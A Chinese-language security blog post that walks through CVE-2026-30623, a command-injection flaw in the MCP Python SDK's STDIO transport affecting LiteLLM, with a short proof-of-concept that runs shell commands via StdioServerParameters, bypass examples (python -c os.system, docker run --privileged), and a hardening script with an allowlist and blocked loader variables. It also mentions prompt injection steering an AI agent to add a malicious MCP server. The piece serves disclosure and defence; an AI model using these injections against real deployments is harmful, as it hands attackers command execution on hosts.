当前位置:首页>python>我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固

我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固

  • 2026-10-11 08:14:02
我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固

CVE-2026-30623 全局影响地图:MCP STDIO RCE 影响 30+ 项目

上周我审一台公司的 MCP server。

跑的是 LiteLLM v1.82.7。3 个工程师围在屏幕前 30 分钟。grep 都没敢动。

没看出问题。

我也没。

直到我把版本号往上翻。4 月发的那个 CVE-2026-30623,影响 7000 多台公网 LiteLLM,加上内网部署一共 20 万。这一台正好踩进去。

双窗口对照 — 左漏洞版 RCE 成功 / 右加固版 allowlist 拦截

下面拆 4 段:

  1. 1. CVE 是什么 / STDIO 直传到底直传到哪里了
  2. 2. 1 行命令本地复现(你跟着跑,能拿到一个属于你自己机器的 /tmp/pwned.txt)
  3. 3. Python 加固脚本怎么写(直接抄)
  4. 4. Anthropic 拒修协议层 / 这个坑还会再来

一、不是普通的 RCE — 是 STDIO 直传

CVE-2026-30623 的根因,1 句话:

MCP Python SDK 的 StdioServerParameters 把用户传的 command 字段,直接交给了 stdio_client 内部的 subprocess.Popen。

中间没有 allowlist。没有命令白名单。没有过滤。

这是协议层 SDK 的事,不是 LiteLLM 一家实现的 bug。所有把 MCP 服务挂在 STDIO 传输上的项目,全部继承同一个根因。

OX Security 4 月 15 日把这事公开的时候,给了它一个名字:「Mother of All AI Supply Chains」。同一个架构缺陷顺着 MCP 协议层「无声传播到每种语言」(Python / TypeScript / Java / Rust SDK 全部受影响)。

11 个已编号 CVE。30 多个项目踩雷。受影响清单上一连串你大概率用过的名字:

LangChain、LangFlow、Flowise、LettaAI、GPT Researcher、Agent Zero、Windsurf、DocsGPT、Jaaz、Langchain-Chatchat、Bisheng……

The Hacker News 报数字:7000+ 公网 server,累计 1.5 亿下载。

The Register 加了一笔:算上内网,20 万实例。

20 万这个数字我看完愣了一下。倒不是因为它大。是因为它揭示了一件事:Anthropic 在 MCP STDIO 接口规定 command 字段直接走 subprocess,所有实现方都照搬,所有人都中。

下面看怎么本地复现。我用了一个避开 LiteLLM 完整启动栈的最干净路径:直接攻击 MCP Python SDK 本身。


二、1 行命令复现(攻击 SDK = 攻击 30+ 项目)

先说前提:全程隔离,payload 只是 whoami + id + date 写到 /tmp/pwned.txt,无害。

为什么不直接跑 LiteLLM?因为 v1.83.5-nightly 的 docker 启动栈很重,强依赖 PostgreSQL + Prisma migrate,nightly 自己有 entrypoint bug 卡在数据库初始化。我浪费过半小时在那。

更聪明的复现路径:直接攻击 LiteLLM 内部调的那个 SDK,mcp.client.stdio。这是 30+ 受影响项目共享的根因层。OX advisory 原话:

“the underlying MCP Python SDK has unsanitized StdioServerParameters.command propagating to subprocess spawn”

STDIO 直传攻击链路:4 步从 JSON 到 RCE

PoC 的核心代码 30 行:

import asynciofrom mcp import StdioServerParametersfrom mcp.client.stdio import stdio_clientfrom mcp.client.session import ClientSessionasyncdefreproduce_cve():# ↓ 这两行 = LiteLLM v1.83.5 add_mcp_server 的等价代码    server = StdioServerParameters(        command="/bin/sh",                       # ← 用户可控字段,无 allowlist        args=["-c", "whoami > /tmp/pwned.txt && id >> /tmp/pwned.txt"],    )# ↓ stdio_client 内部 → anyio.open_process → subprocess spawnasyncwith stdio_client(server) as (read, write):asyncwith ClientSession(read, write) as session:try:await asyncio.wait_for(session.initialize(), timeout=2.0)except Exception:pass# /bin/sh 不会响应 MCP 握手 → 超时是预期的,命令已经跑过了asyncio.run(reproduce_cve())

跑一下:

pip install mcppython3 poc_vulnerable.pycat /tmp/pwned.txt

输出(脱敏占位):

poc_vulnerable.py 输出 — 脱敏版

我跑出的输出含我本机用户名和 macOS 主机名(截图里已脱敏成 <user> 和 <hostname>)。生产里 LiteLLM 默认 docker root 启动,输出会是 uid=0(root),攻击者直接拿容器 root。

已认证的 LiteLLM 用户,可以在代理主机以代理进程身份跑任意命令。

「认证用户应该都是自己人吧?」

不一定。LiteLLM 经常被部署成「内部 LLM 网关」,团队成员、测试账号、CI 凭证都有 master_key 或子 key。任何一个被钓鱼、子 key 被泄、CI 日志被偷看,攻击者就拿到了主机进程身份。

OX Security 列的 4 类攻击向量里那条更坏:零点击提示注入触发 STDIO 配置。攻击者通过一个 prompt 就让 Agent 自己改配置加恶意 MCP server。这条不需要任何凭证。

这部分我留到下篇 W3,专门讲 MCP 供应链。


三、加固脚本 — 直接抄

LiteLLM 官方在 v1.83.6-nightly 修了。内置 allowlist,只允许 7 个命令:

{"npx", "uvx", "python", "python3", "node", "docker", "deno"}

需要扩展的话用环境变量:

LITELLM_MCP_STDIO_EXTRA_COMMANDS="bash,sh"# 谨慎扩展

allowlist 有意做得很窄。/bin/sh 不在里面,因为攻击者最常用的就是 sh / bash 直接跑命令。强制走 npx / uvx / docker 这种包管理器封装的命令,至少多一层语义检查。

Allowlist 3 维度加固盾牌:command + args + env

来不及升 1.83.7-stable 的话,可以先抄这套。这版基于官方 allowlist 再加 args / env 两层纵深防御(不是简单复刻官方修复):

# litellm_hardening.py — 在调 StdioServerParameters 之前过一遍import osfrom pathlib import PathALLOWED = {"npx", "uvx", "python", "python3", "node", "docker", "deno"}EXTRA = {c.strip() for c in os.getenv("LITELLM_MCP_STDIO_EXTRA_COMMANDS", "").split(",") if c.strip()}ALLOWLIST = ALLOWED | EXTRAdefvalidate_mcp_command(cmd: str, args: list, env: dict | None = None) -> None:"""3 维度校验 — 在 add MCP server 入口前调。"""# 维度 1:command basename 必须在 allowlistifnot cmd ornot cmd.strip():raise ValueError("MCP STDIO command 不能为空")    base = Path(cmd.strip()).name      # /bin/sh -> sh / /usr/bin/python3 -> python3if base notin ALLOWLIST:raise ValueError(f"command '{base}' 不在 allowlist {sorted(ALLOWLIST)}")# 维度 2:args 不能含 shell 元字符# 防 attacker 改用 python -c 'import os;os.system("...")' 绕过for a in args or []:ifisinstance(a, str) andany(d in a for d in (";", "&&", "||", "|", "`", "$(")):raise ValueError(f"args 含可疑 shell 元字符:{a[:80]}")# 维度 3:env 不能注入加载器变量# 防 LD_PRELOAD / PYTHONPATH 链劫持    blocked = {"LD_PRELOAD", "LD_LIBRARY_PATH", "PYTHONPATH", "PYTHONSTARTUP"}    bad = [k for k in (env or {}) if k in blocked]if bad:raise ValueError(f"env 含禁用的加载器变量:{bad}")

跑加固版(打包成 poc_hardened.py 一并放仓库),同 payload,结果不一样:

poc_hardened.py 输出 — allowlist 拦截

注入被拒。

和 LiteLLM 1.83.7 官方修复的关系:

防护层
LiteLLM 1.83.7 官方
上面这个脚本
1. command allowlist
✅ 7 个命令
✅ 字节级一致
2. args shell 元字符校验
❌ 不做
✅ 我加
3. env 加载器变量阻断(LD_PRELOAD 等)
❌ 不做
✅ 我加

LiteLLM 官方靠 /mcp-rest/test/* endpoint 的 PROXY_ADMIN 角色门控来兜底 args 残留风险(比如 attacker 用 docker run --privileged ubuntu bash,command 是白名单内的 docker,args 里给 root 容器)。LangChain / Flowise / Windsurf 这些没有等价角色门控的项目,args + env 这 2 层兜底更稳。

为什么我特地写了 args 校验和 env 校验?因为单层 allowlist 可被绕过。攻击者改用 python -c 'import os;os.system("whoami")',命令走 python(白名单内),但 args 里塞了完整 shell 命令,同样拿到 RCE。3 维度合在一起才是真加固。


四、Anthropic 拒修,下一波还会来

最让人头大的不是这一个 CVE。是 Anthropic 的回应。

The Hacker News 引用:

“Anthropic has declined to modify the protocol’s architecture, citing the behavior as ‘expected.’”

Anthropic 拒绝改 MCP 协议核心。他们认为 command 字段直传 subprocess 是「预期行为」。协议层不会修,所有实现 MCP 的项目自己加 allowlist、自己校验。

今天升 LiteLLM 1.83.7 救自己一次。下次 LangChain / LangFlow / Windsurf 出新功能,或者你接的下一个 MCP server,必须重做这套加固。没有协议层兜底,每个实现自己背锅。

这种协议级缺陷扩散不会停。authzed 的 MCP 安全事件时间线上,已经有:2025-10 Smithery 路径穿越,2026-01 Gemini MCP CVE-2026-0755,2026-02 假冒 Oura MCP 项目投毒,2026-04 这次 STDIO …… 平均 1-2 个月一次。

MCP 安全事件时间线:4 事件 / 1-2 月一次 / 趋势加速

下次出事的姿势我现在就能预判:

  • • MCP HTTP 传输层。身份验证、鉴权、token 绑定有没有问题?
  • • MCP Resources / Tools 字段。还有什么字段也是这样直传到 host 的?
  • • MCP 客户端 manifest 拉取。客户端拉服务端 manifest 时校验过吗?

    W4 我会出一篇企业 MCP 部署 7 陷阱 + 18 项自检清单。这一篇先把 STDIO 这个坑堵上。


文末

以上 4 段你可以直接拿去给同事看,或者自己周末 30 分钟跑一遍。复现脚本就 30 行,不用起完整 LiteLLM。

1. GitHub 持续更新版(推荐 ⭐ Star 一下追新)

→ https://github.com/taielab/ai-security-workshop→ W2 / W3 / W4 PoC + 加固代码 + 检测脚本持续累积,每周一篇配套

2. 工程师交流 / 企业 AI 安全咨询

加我个人微信(备注「W2」+ 来意):

3. 深度交流:知识星球「AI 安全工坊」 :

最新文章

随机文章